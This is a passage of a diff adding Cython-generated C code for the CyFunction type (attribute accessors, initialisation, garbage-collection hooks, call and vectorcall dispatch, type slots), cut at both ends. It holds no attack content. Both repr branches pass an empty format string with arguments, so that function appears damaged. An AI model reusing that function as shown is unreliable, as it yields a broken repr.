NULL) { + value = Py_None; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_doc, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_name == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_name = PyObject_GetAttrString(op->func, "__name__"); +#elif PY_MAJOR_VERSION >= 3 + op->func_name = PyUnicode_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#else + op->func_name = PyString_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#endif + if (unlikely(op->func_name == NULL)) + return NULL; + } + Py_INCREF(op->func_name); + return op->func_name; +} +static int +__Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_name, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_qualname); + return op->func_qualname; +} +static int +__Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_qualname, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_dict == NULL)) { + op->func_dict = PyDict_New(); + if (unlikely(op->func_dict == NULL)) + return NULL; + } + Py_INCREF(op->func_dict); + return op->func_dict; +} +static int +__Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(value == NULL)) { + PyErr_SetString(PyExc_TypeError, + "function's dictionary may not be deleted"); + return -1; + } + if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "setting function's dictionary to a non-dict"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_dict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_globals); + return op->func_globals; +} +static PyObject * +__Pyx_CyFunction_get_closure(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(op); + CYTHON_UNUSED_VAR(context); + Py_INCREF(Py_None); + return Py_None; +} +static PyObject * +__Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, void *context) +{ + PyObject* result = (op->func_code) ? op->func_code : Py_None; + CYTHON_UNUSED_VAR(context); + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { + int result = 0; + PyObject *res = op->defaults_getter((PyObject *) op); + if (unlikely(!res)) + return -1; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + op->defaults_tuple = PyTuple_GET_ITEM(res, 0); + Py_INCREF(op->defaults_tuple); + op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); + Py_INCREF(op->defaults_kwdict); + #else + op->defaults_tuple = __Pyx_PySequence_ITEM(res, 0); + if (unlikely(!op->defaults_tuple)) result = -1; + else { + op->defaults_kwdict = __Pyx_PySequence_ITEM(res, 1); + if (unlikely(!op->defaults_kwdict)) result = -1; + } + #endif + Py_DECREF(res); + return result; +} +static int +__Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyTuple_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__defaults__ must be set to a tuple object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__defaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_tuple, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_tuple; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_tuple; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__kwdefaults__ must be set to a dict object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__kwdefaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_kwdict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_kwdict; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_kwdict; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value || value == Py_None) { + value = NULL; + } else if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__annotations__ must be set to a dict object"); + return -1; + } + Py_XINCREF(value); + __Pyx_Py_XDECREF_SET(op->func_annotations, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->func_annotations; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + result = PyDict_New(); + if (unlikely(!result)) return NULL; + op->func_annotations = result; + } + Py_INCREF(result); + return result; +} +static PyObject * +__Pyx_CyFunction_get_is_coroutine(__pyx_CyFunctionObject *op, void *context) { + int is_coroutine; + CYTHON_UNUSED_VAR(context); + if (op->func_is_coroutine) { + return __Pyx_NewRef(op->func_is_coroutine); + } + is_coroutine = op->flags & __Pyx_CYFUNCTION_COROUTINE; +#if PY_VERSION_HEX >= 0x03050000 + if (is_coroutine) { + PyObject *module, *fromlist, *marker = __pyx_n_s_is_coroutine; + fromlist = PyList_New(1); + if (unlikely(!fromlist)) return NULL; + Py_INCREF(marker); +#if CYTHON_ASSUME_SAFE_MACROS + PyList_SET_ITEM(fromlist, 0, marker); +#else + if (unlikely(PyList_SetItem(fromlist, 0, marker) < 0)) { + Py_DECREF(marker); + Py_DECREF(fromlist); + return NULL; + } +#endif + module = PyImport_ImportModuleLevelObject(__pyx_n_s_asyncio_coroutines, NULL, NULL, fromlist, 0); + Py_DECREF(fromlist); + if (unlikely(!module)) goto ignore; + op->func_is_coroutine = __Pyx_PyObject_GetAttrStr(module, marker); + Py_DECREF(module); + if (likely(op->func_is_coroutine)) { + return __Pyx_NewRef(op->func_is_coroutine); + } +ignore: + PyErr_Clear(); + } +#endif + op->func_is_coroutine = __Pyx_PyBool_FromLong(is_coroutine); + return __Pyx_NewRef(op->func_is_coroutine); +} +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject * +__Pyx_CyFunction_get_module(__pyx_CyFunctionObject *op, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_GetAttrString(op->func, "__module__"); +} +static int +__Pyx_CyFunction_set_module(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_SetAttrString(op->func, "__module__", value); +} +#endif +static PyGetSetDef __pyx_CyFunction_getsets[] = { + {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, + {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, + {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, + {(char *) "_is_coroutine", (getter)__Pyx_CyFunction_get_is_coroutine, 0, 0, 0}, +#if CYTHON_COMPILING_IN_LIMITED_API + {"__module__", (getter)__Pyx_CyFunction_get_module, (setter)__Pyx_CyFunction_set_module, 0, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyMemberDef __pyx_CyFunction_members[] = { +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), 0, 0}, +#endif +#if CYTHON_USE_TYPE_SPECS + {(char *) "__dictoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_dict), READONLY, 0}, +#if CYTHON_METH_FASTCALL +#if CYTHON_BACKPORT_VECTORCALL + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_vectorcall), READONLY, 0}, +#else +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(PyCFunctionObject, vectorcall), READONLY, 0}, +#endif +#endif +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_weakreflist), READONLY, 0}, +#else + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(PyCFunctionObject, m_weakreflist), READONLY, 0}, +#endif +#endif + {0, 0, 0, 0, 0} +}; +static PyObject * +__Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, PyObject *args) +{ + CYTHON_UNUSED_VAR(args); +#if PY_MAJOR_VERSION >= 3 + Py_INCREF(m->func_qualname); + return m->func_qualname; +#else + return PyString_FromString(((PyCFunctionObject*)m)->m_ml->ml_name); +#endif +} +static PyMethodDef __pyx_CyFunction_methods[] = { + {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, + {0, 0, 0, 0} +}; +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) +#else +#define __Pyx_CyFunction_weakreflist(cyfunc) (((PyCFunctionObject*)cyfunc)->m_weakreflist) +#endif +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { +#if !CYTHON_COMPILING_IN_LIMITED_API + PyCFunctionObject *cf = (PyCFunctionObject*) op; +#endif + if (unlikely(op == NULL)) + return NULL; +#if CYTHON_COMPILING_IN_LIMITED_API + op->func = PyCFunction_NewEx(ml, (PyObject*)op, module); + if (unlikely(!op->func)) return NULL; +#endif + op->flags = flags; + __Pyx_CyFunction_weakreflist(op) = NULL; +#if !CYTHON_COMPILING_IN_LIMITED_API + cf->m_ml = ml; + cf->m_self = (PyObject *) op; +#endif + Py_XINCREF(closure); + op->func_closure = closure; +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_XINCREF(module); + cf->m_module = module; +#endif + op->func_dict = NULL; + op->func_name = NULL; + Py_INCREF(qualname); + op->func_qualname = qualname; + op->func_doc = NULL; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + op->func_classobj = NULL; +#else + ((PyCMethodObject*)op)->mm_class = NULL; +#endif + op->func_globals = globals; + Py_INCREF(op->func_globals); + Py_XINCREF(code); + op->func_code = code; + op->defaults_pyobjects = 0; + op->defaults_size = 0; + op->defaults = NULL; + op->defaults_tuple = NULL; + op->defaults_kwdict = NULL; + op->defaults_getter = NULL; + op->func_annotations = NULL; + op->func_is_coroutine = NULL; +#if CYTHON_METH_FASTCALL + switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_METHOD)) { + case METH_NOARGS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_NOARGS; + break; + case METH_O: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_O; + break; + case METH_METHOD | METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD; + break; + case METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS; + break; + case METH_VARARGS | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = NULL; + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + Py_DECREF(op); + return NULL; + } +#endif + return (PyObject *) op; +} +static int +__Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) +{ + Py_CLEAR(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_CLEAR(m->func); +#else + Py_CLEAR(((PyCFunctionObject*)m)->m_module); +#endif + Py_CLEAR(m->func_dict); + Py_CLEAR(m->func_name); + Py_CLEAR(m->func_qualname); + Py_CLEAR(m->func_doc); + Py_CLEAR(m->func_globals); + Py_CLEAR(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API +#if PY_VERSION_HEX < 0x030900B1 + Py_CLEAR(__Pyx_CyFunction_GetClassObj(m)); +#else + { + PyObject *cls = (PyObject*) ((PyCMethodObject *) (m))->mm_class; + ((PyCMethodObject *) (m))->mm_class = NULL; + Py_XDECREF(cls); + } +#endif +#endif + Py_CLEAR(m->defaults_tuple); + Py_CLEAR(m->defaults_kwdict); + Py_CLEAR(m->func_annotations); + Py_CLEAR(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_XDECREF(pydefaults[i]); + PyObject_Free(m->defaults); + m->defaults = NULL; + } + return 0; +} +static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + if (__Pyx_CyFunction_weakreflist(m) != NULL) + PyObject_ClearWeakRefs((PyObject *) m); + __Pyx_CyFunction_clear(m); + __Pyx_PyHeapTypeObject_GC_Del(m); +} +static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + PyObject_GC_UnTrack(m); + __Pyx__CyFunction_dealloc(m); +} +static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) +{ + Py_VISIT(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(m->func); +#else + Py_VISIT(((PyCFunctionObject*)m)->m_module); +#endif + Py_VISIT(m->func_dict); + Py_VISIT(m->func_name); + Py_VISIT(m->func_qualname); + Py_VISIT(m->func_doc); + Py_VISIT(m->func_globals); + Py_VISIT(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(__Pyx_CyFunction_GetClassObj(m)); +#endif + Py_VISIT(m->defaults_tuple); + Py_VISIT(m->defaults_kwdict); + Py_VISIT(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_VISIT(pydefaults[i]); + } + return 0; +} +static PyObject* +__Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) +{ +#if PY_MAJOR_VERSION >= 3 + return PyUnicode_FromFormat("", + op->func_qualname, (void *)op); +#else + return PyString_FromFormat("", + PyString_AsString(op->func_qualname), (void *)op); +#endif +} +static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *f = ((__pyx_CyFunctionObject*)func)->func; + PyObject *py_name = NULL; + PyCFunction meth; + int flags; + meth = PyCFunction_GetFunction(f); + if (unlikely(!meth)) return NULL; + flags = PyCFunction_GetFlags(f); + if (unlikely(flags < 0)) return NULL; +#else + PyCFunctionObject* f = (PyCFunctionObject*)func; + PyCFunction meth = f->m_ml->ml_meth; + int flags = f->m_ml->ml_flags; +#endif + Py_ssize_t size; + switch (flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { + case METH_VARARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) + return (*meth)(self, arg); + break; + case METH_VARARGS | METH_KEYWORDS: + return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); + case METH_NOARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 0)) + return (*meth)(self, NULL); +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + case METH_O: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 1)) { + PyObject *result, *arg0; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + arg0 = PyTuple_GET_ITEM(arg, 0); + #else + arg0 = __Pyx_PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; + #endif + result = (*meth)(self, arg0); + #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(arg0); + #endif + return result; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + return NULL; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, "%.200S() takes no keyword arguments", + py_name); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", + f->m_ml->ml_name); +#endif + return NULL; +} +static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *self, *result; +#if CYTHON_COMPILING_IN_LIMITED_API + self = PyCFunction_GetSelf(((__pyx_CyFunctionObject*)func)->func); + if (unlikely(!self) && PyErr_Occurred()) return NULL; +#else + self = ((PyCFunctionObject*)func)->m_self; +#endif + result = __Pyx_CyFunction_CallMethod(func, self, arg, kw); + return result; +} +static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { + PyObject *result; + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; +#if CYTHON_METH_FASTCALL + __pyx_vectorcallfunc vc = __Pyx_CyFunction_func_vectorcall(cyfunc); + if (vc) { +#if CYTHON_ASSUME_SAFE_MACROS + return __Pyx_PyVectorcall_FastCallDict(func, vc, &PyTuple_GET_ITEM(args, 0), (size_t)PyTuple_GET_SIZE(args), kw); +#else + (void) &__Pyx_PyVectorcall_FastCallDict; + return PyVectorcall_Call(func, args, kw); +#endif + } +#endif + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + Py_ssize_t argc; + PyObject *new_args; + PyObject *self; +#if CYTHON_ASSUME_SAFE_MACROS + argc = PyTuple_GET_SIZE(args); +#else + argc = PyTuple_Size(args); + if (unlikely(!argc) < 0) return NULL; +#endif + new_args = PyTuple_GetSlice(args, 1, argc); + if (unlikely(!new_args)) + return NULL; + self = PyTuple_GetItem(args, 0); + if (unlikely(!self)) { + Py_DECREF(new_args); +#if PY_MAJOR_VERSION > 2 + PyErr_Format(PyExc_TypeError, + "unbound method %.200S() needs an argument", + cyfunc->func_qualname); +#else + PyErr_SetString(PyExc_TypeError, + "unbound method needs an argument"); +#endif + return NULL; + } + result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); + Py_DECREF(new_args); + } else { + result = __Pyx_CyFunction_Call(func, args, kw); + } + return result; +} +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE int __Pyx_CyFunction_Vectorcall_CheckArgs(__pyx_CyFunctionObject *cyfunc, Py_ssize_t nargs, PyObject *kwnames) +{ + int ret = 0; + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + if (unlikely(nargs < 1)) { + PyErr_Format(PyExc_TypeError, "%.200s() needs an argument", + ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + ret = 1; + } + if (unlikely(kwnames) && unlikely(PyTuple_GET_SIZE(kwnames))) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no keyword arguments", ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + return ret; +} +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 0)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, NULL); +} +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 1)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, args[0]); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCFunctionFastWithKeywords)(void(*)(void))def->ml_meth)(self, args, nargs, kwnames); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; + PyTypeObject *cls = (PyTypeObject *) __Pyx_CyFunction_GetClassObj(cyfunc); +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCMethod)(void(*)(void))def->ml_meth)(self, cls, args, (size_t)nargs, kwnames); +} +#endif +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CyFunctionType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CyFunction_dealloc}, + {Py_tp_repr, (void *)__Pyx_CyFunction_repr}, + {Py_tp_call, (void *)__Pyx_CyFunction_CallAsMethod}, + {Py_tp_traverse, (void *)__Pyx_CyFunction_traverse}, + {Py_tp_clear, (void *)__Pyx_CyFunction_clear}, + {Py_tp_methods, (void *)__pyx_CyFunction_methods}, + {Py_tp_members, (void *)__pyx_CyFunction_members}, + {Py_tp_getset, (void *)__pyx_CyFunction_getsets}, + {Py_tp_descr_get, (void *)__Pyx_PyMethod_New}, + {0, 0}, +}; +static PyType_Spec __pyx_CyFunctionType_spec = { + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if (defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL) + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + __pyx_CyFunctionType_slots +}; +#else +static PyTypeObject __pyx_CyFunctionType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, + (destructor) __Pyx_CyFunction_dealloc, +#if !CYTHON_METH_FASTCALL + 0, +#elif CYTHON_BACKPORT_VECTORCALL + (printfunc)offsetof(__pyx_CyFunctionObject, func_vectorcall), +#else + offsetof(PyCFunctionObject, vectorcall), +#endif + 0, + 0, +#if PY_MAJOR_VERSION < 3 + 0, +#else + 0, +#endif + (reprfunc) __Pyx_CyFunction_repr, + 0, + 0, + 0, + 0, + __Pyx_CyFunction_CallAsMethod, + 0, + 0, + 0, + 